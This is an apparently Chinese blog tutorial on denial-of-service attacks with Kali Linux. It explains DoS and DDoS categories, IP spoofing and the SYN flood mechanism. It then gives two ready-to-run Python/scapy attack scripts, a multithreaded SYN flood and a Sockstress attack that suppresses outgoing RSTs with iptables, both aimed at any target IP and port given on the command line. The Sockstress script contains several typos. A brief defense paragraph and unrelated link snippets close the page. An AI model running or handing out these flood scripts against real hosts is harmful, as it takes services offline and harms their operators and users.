kali linux之拒绝服务
Dos不是DOS(利用程序漏洞或一对一资源耗尽的denial of service拒绝服务)
DDoS分布式拒绝服务(多对一的攻击汇聚资源能力,重点在于量大,属于资源耗尽型)
历史
以前:欠缺技术能力,ping死你(难缠)
现在:最强大,最危险的攻击,攻击方式众多(专业化的勒索,贩卖和租用肉鸡已经成为黑产中的重要部分,最终的办法就是拼资源,投资抗D,或者乖乖交保护费)
D网络:基于大量的flood耗尽目标网络带宽(ICMP Flood ,UDP Flood)
D协议:攻击协议漏洞发起的拒绝服务,(Syn Flood,Ping of Death,ARP,DNS,802.11,SSL)
D应用:针对应用程序和操作系统漏洞发起的拒绝服务攻击,大量的访问消耗应用(cc代理),通常表现为操作系统正常,网络流量巨大,但是服务停止响应。
从攻击者到受害者------网络---》FW--》服务器---》服务应用
资源耗尽------
网络:带宽
FW:吞吐量,并发连接
服务器:CPU,内存,I/O
应用:处理请求能力,对OS资源的使用权
程序漏洞攻击-----缓冲区溢出,协议,程序逻辑漏洞
Syn-Flood---常伴随ip欺骗
IP地址欺骗
经常用于dos攻击
根据ip头地址寻址(可以伪造ip源地址)
边界路由器过滤(入站,出站)
受害者可能是源,目的地址
绕过基于地址的验证
压力测试模拟多用户
上层协议(TCP序列号)
客户端发送一个包含SYN标志的TCP报文,SYN即同步(Synchronize),同步报文会指明客户端使用的端口以及TCP连接的初始序号
以上的连接过程在TCP协议中被称为三次握手(Three-way Handshake)
问题就出在TCP连接的三次握手中,假设一个用户向服务器发送了SYN报文后突然死机或掉线,那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的(第三次握手无法完成),这种情况下服务器端一般会再次发送SYN+ACK给客户端,并等待一段时间后丢弃这个未完成的连接,这段时间的长度我们称为SYN Timeout,一般来说这个时间是分钟的数量级(大约为30秒-2分钟);一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题,但如果有一个恶意的攻击者大量模拟这种情况,服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接,即使是简单的保存并遍历也会消耗非常多的CPU时间和内存,何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大,最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大,服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求,此时从正常客户的角度看来,服务器失去响应,服务器端受到了SYN Flood攻击(SYN洪水攻击)
python实现攻击
#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "用法: ./syn_flood.py [IP地址] [端口] [线程数]"
print "举例: ./syn_flood.py 1.1.1.1 80 20"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])
print "正在执行 SYN flood 攻击,按 Ctrl+C 停止攻击."
def synflood(target,port):
while 0 == 0:
x = random.randint(0,65535)
send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
thread.start_new_thread(synflood, (target,port))
while 0 == 0:
sleep(1)

抓包查看


Sockstress
针对tcp服务的拒绝服务攻击
消耗目标操作系统资源
与攻击目标建立大量的socket链接
完成三次握手,最后的ack包windows为0(客户端不接收数据)
攻击者资源消耗小(cpu,内存,带宽)
异步攻击,单机可对抗高配资源服务器
windows窗口实现的tcp流控
防御措施:
直到今天sockstress攻击仍然是一种很有效的Dos攻击方式
由于建立完整的TCP三次握手,因此使用syn cookie防御无效
根本的防御办法是采用白名单,但是不实际
折中对策,限制单位时间内每秒连接超市的TCP连接数
python脚本实现:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import logging
import os
import signal
import sys
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) !=4:
print "用法: ./sock_stress.py [目标IP] [端口] [线程数]"
print "举例: ./sock_stress.py 10.0.0.5 21 20 ## 请确定呗攻击端口处于开放状态"
sys.exit()
target = str(sys.argv[1])
dstport = int(sys.argv[2])
threads = int(sys.argv[3])
## 攻击函数
def sockstress(target,dstport):
while 0==0:
try:
x = random.randint(0,65535)
response = srl(IP(dst=target)/TCP(sport=x,dport=dstport,flags='S'),timeout=1,verbose=0)
send(IP(dst=target)/ TCP(dsport=dstport,sport=x,window=0,flags='A',ack=(response[TCP].seq + 1))/'\x00\x00',verbose=0)
except:
pass
## 停止攻击函数
def shutdown(signal, frame):
print '正在恢复 iptables 规则'
os.system('iptable -D OUTPUT -p tcp --tcp-flas RST RST -d ' + target + ' -j DROP')
sys.exit()
## 添加iptables规则
os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d ' + target + ' -j DROP')
signal.signal(signal.SIGINT, shutdown)
## 多线程攻击
print "\n攻击正在进行...按 Ctrl+C 停止攻击"
for x in range(0,threads):
thread.start_new_thread(sockstress, (target,dstport))
## 永远执行
while 0==0:
sleep(1)
执行攻击并抓包查看

友情链接 http://www.cnblogs.com/klionsec
http://www.cnblogs.com/l0cm
http://www.cnblogs.com/Anonyaptxxx
http://www.feiyusafe.cn
kali linux之拒绝服务的更多相关文章
- kali linux之拒绝服务攻击工具
hping3 几乎可以定制发送任何TCP/IP数据包,用于测试FW,端口扫描,性能测试 -c - 计数包计数 -i - interval wait(uX表示X微秒,例如-i u1000) ...
- Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击
Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击 文/玄魂 目录 Kali Linux Web 渗透测试视频教程— 第十六课-拒绝服务攻击................... ...
- ApacheCN Kali Linux 译文集 20211020 更新
Kali Linux 秘籍 中文版 第一章 安装和启动Kali 第二章 定制 Kali Linux 第三章 高级测试环境 第四章 信息收集 第五章 漏洞评估 第六章 漏洞利用 第七章 权限提升 第八章 ...
- kali linux下的arp攻击
这是我第一篇博客,写的不好请谅解 ____________________________(分割线)_______________________________ 在kali linux系统下自带工具 ...
- kali linux之窥看女神上网隐私(ettercap+wireshark+zenmap +dsniff)
作者:小波 http://www.cnblogs.com/xiaobo-Linux/ 无聊就玩了玩,不要干一些坏事哟~~网上也有一些文章关于kali linux的,就实战了一番.kali是用的debi ...
- KALI Linux problems & Study Red Hat | Ubuntu
Problem When you ask some website with https head.you may met the problem secure connection failed ...
- 调整Kali Linux的锁屏时间
调整Kali Linux的锁屏时间 锁屏是保护隐私的一种重要机制.当用户不操作电脑一段时间后,系统会进入锁屏状态.用户需要输入口令,才能重新进入系统.避免因为操作人员离开电脑后,被其他人员利用现有 ...
- Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016
Python黑帽编程1.1虚拟机安装和配置 Kali Linux 2016 0.1 本系列教程说明 本系列教程,采用的大纲母本为<Understanding Network Hacks Att ...
- windows下 安装Kali Linux到 U盘的方法
作者:玄魂工作室 \ 2016年10月20日 把Kali Linux安装到U盘好处很多,可以从U盘启动使用整个电脑的硬件资源, 可以随身携带,减少对自己电脑的影响. 今天要给大家讲的是如何在windo ...
随机推荐
- Java标准I/O流介绍
1.I/O是什么? I/O 是Input/Output(输入.输出)的简称,输入流可以理解为向内存输入,输出流是从内存输出. 2.流 流是一个连续的数据流,可以从流中读取数据,也可以往流中写数据.流与 ...
- apache 不解析 php
apache 不解析php 1.找到: AddType application/x-gzip .gz .tgz在其下面添加: AddType application/x-httpd-php .php ...
- Python数据分析 EPD
参考用书 <利用Python进行技术分析:Python for Data Analysis> 官方把epd (https://www.enthought.com/products/cano ...
- ubuntu 12.04修改环境变量PAT…
这里我只针对ubuntu 12.04进行了测试,由于不同的linux发行版本可能会有一些地方不一致,所以对于其他的linux发行版仅供参考. 1.直接在命令行里添加 我们先来看下下PATH的值 ec ...
- gdb 调试PHP
扩展编译好用,通过php编码测试报“段错误",如果是c语言都是用gdb进行设置,那php扩展要如何进行调试呢?搜索了下,虽然是php扩展但是core是php 的core不是单个so扩展的co ...
- ArcGIS JS API实现的距离测量与面积量算
转自https://www.cnblogs.com/deliciousExtra/p/5490937.html
- Lambda02 函数式接口
1 java8默认提供的函数式接口 1.1 Predicate /* * Copyright (c) 2010, 2013, Oracle and/or its affiliates. All rig ...
- PCL点云库中的坐标系(CoordinateSystem)
博客转载自:https://blog.csdn.net/qq_33624918/article/details/80488590 引言 世上本没有坐标系,用的人多了,便定义了坐标系统用来定位.地理坐标 ...
- javac老提示无效的标记
加上-cp libs/*后,就开始提示无效的标记,搞了半天,似乎是shell展开的问题,估计是把后面的jar文件当源文件了? 加上引号就行了-cp "libs/*",不让shell ...
- Luogu 3594 [POI2015]WIL-Wilcze doły
简单题. 考虑没有修改数字的条件的限制,我们直接用双指针扫描就可以计算出答案了. 然后考虑加入修改数字的条件,只要用单调队列维护出当前两个指针表示的区间中长度为$d$的一段区间的最大值,用总和减掉这个 ...